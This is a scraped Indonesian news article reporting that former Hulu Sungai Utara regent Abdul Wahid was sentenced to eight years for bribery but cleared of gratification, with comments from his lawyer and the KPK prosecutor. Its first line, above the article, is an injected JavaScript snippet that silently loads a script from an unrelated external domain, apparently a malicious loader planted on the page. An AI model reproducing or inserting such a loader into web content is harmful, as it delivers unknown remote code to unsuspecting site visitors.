(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Wahid Hanya Divonis Suap Bukan Gratifikasi, Begini Kata Kuasa Hukum


KANALKALIMANTAN.COM, BANJARMASIN – Eks Bupati Hulu Sungai Utara (HSU) H Abdul Wahid dijatuhi vonis 8 tahun penjara dan denda Rp 500 juta subsider 6 bulan kurungan dalam kasus mega korupsi.

Vonis 8 tahun penjara tersebut lebih ringan dibandingkan tuntutan yang diberikan jaksa KPK yakni 9 tahun penjara dengan denda sebesar Rp 500 juta subsider 1 tahun kurungan.

Sidang dengan agenda pembacaan vonis digelar secara daring di Ruang Sidang I Pengadilan Tindak Pidana Korupsi (Tipikor)  Banjarmasin, Jalan Pramuka, Kota Banjarmasin, Provinsi Kalsel, Senin (15/8/2022) siang.

“Mengadili menyatakan terdakwa terbukti secara sah melakukan tindak pidana korupsi sebagaimana dalam dakwaan ketiga alternatif pertama dengan pidana penjara 8 tahun penjara dengan denda Rp 500 juta,” ujar Ketua Majelis Hakim Yusriansyah.

 

Abdul Wahid yang menghadiri persidangan melalui zoom meeting dari Lapas Kelas IIA Banjarmasin.
Foto: wanda

Baca juga : PLN Manfaatkan Abu Batu Bara PLTU Pulang Pisau Sebagai Bahan Konstruksi Jalan

Ketua Majelis Hakim Yusriansyah saat membacakan berkas putusan menyebut, terdakwa dinilai terbukti secara sah dan meyakinkan melakukan korupsi berupa suap keseluruhannya, namun bukan gratifikasi.

Dalam pertimbangannya, Ketua Majelis Hakim Yusriansyah serta dua hakim anggota, Achmad Gawi dan Arief, mengabulkan dakwaan ketiga alternatif pertama yang memutuskan berdasarkan 3 pasal yakni 12 a tentang Suap, 12 b tentang Gratifikasi, dan TPPU (Tindak Pidana Pencucian Uang).

Namun, pada 12 B, majelis hakim memutus bahwa Abdul Wahid tidak terbukti melakukan gratifikasi.

Setelah mendengar putusan tersebut kuasa hukum Abdul Wahid, Fadli Nasution mengungkapkan, perkara tersebut tidak sempurna. Pihaknya menyatakan akan pikir-pikir mengenai vonis tersebut.

Baca juga : Bupati Banjar Kukuhkan 27 Anggota Paskibraka 2022

“Terkait yang disampaikan majelis hakim kami juga bingung, karena masih gantung. Perkara ini tidak sempurna,” ujar Fadli.

Atas putusan yang mengabulkan pasal suap keseluruhannya, Fadli mempertanyakan siapa pemberinya. Karena diketahui suap merupakan perbuatan pemberian yang tidak sah.

“Sedangkan yang didakwakan yang melakukan pemberi adalah si saksi (Marhaini dan Maliki) yang menyuap 165 juta, sedangkan TPPU-nya lebih dari 10 miliar,” ujar Fadli Nasution setelah sidang putusan.

Menurut Fadli, putusan hakim tersebut sudah jelas, namun gantung karena pada agenda pembacaan pembelaan di sidang sebelumnya, pihaknya membuktikan terdakwa juga melakukan gratifikasi, tidak hanya suap.

Baca juga : Tok! Eks Bupati HSU Abdul Wahid Divonis 8 Tahun Penjara dan Denda 500 Juta

“Jadi kalau misalnya Pasal 12 b tidak terbukti maka dari mana uang dari TPPU-nya berasal, sedangkan saksi (Marhaini dan Maliki) hanya Rp 165 juta suapnya,” sambungnya.

Atas dasar di atas tersebut maka dikatakan kuasa hukum, pihaknya akan berdiskusi bersama dengan terdakwa tentang langkah apa yang akan diambil. Namun, ada peluang bagi pihaknya untuk mengajukan banding.

“Dengan demikian ada peluang untuk kami mengajukan banding, tentunya perlu kita diskusikan terlebih dahulu hal ini terhadap terdakwa dan keluarganya,” ujarnya.

Sementara itu, Jaksa Penuntut KPK, Tito Jaelani mengungkapkan, pihaknya tetap menghormati putusan majelis hakim.

Baca juga  : Pimpin Apel Hari Jadi Ke-72 Kabupaten Banjar, Ini Pesan Saidi Mansyur

Namun, terkait dengan bebasnya terdakwa dari tuntutan gratifikasi, dia mengatakan bahwa fakta-fakta yang dimasukkan dalam tuntutan pasal gratifikasi tersebut diambil alih semuanya oleh majelis hakim dan dimasukkan terhadap pembuktian tuntutan suap.

“Dengan arti kata kalau suap berarti ada pemberinya,” bebernya.

Seperti yang sudah disebutkan oleh majelis hakim bahwa saksi-saksi lainnya melakukan pemberian yang harus dipertanggungajawabkan pidana atas perbuatannya tersebut.

Lebih lanjut, terkait dengan pasal 18 yang menyatakan terdakwa tidak dikenakan uang pengganti pihaknya juga akan melaporkannya kepada pimpinan tentang jalan apa yang akan ditempuh.

“Tentang apa yang menjadi sikap kita selanjutnya apakah menyatakan banding atau menerima, kita masih akan mendiskusikan dengan pimpinan terlebih dahulu,” pungkasnya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : cell


Desy Arfianty

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

7 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

8 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

8 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

8 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

8 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

8 jam ago

This website uses cookies.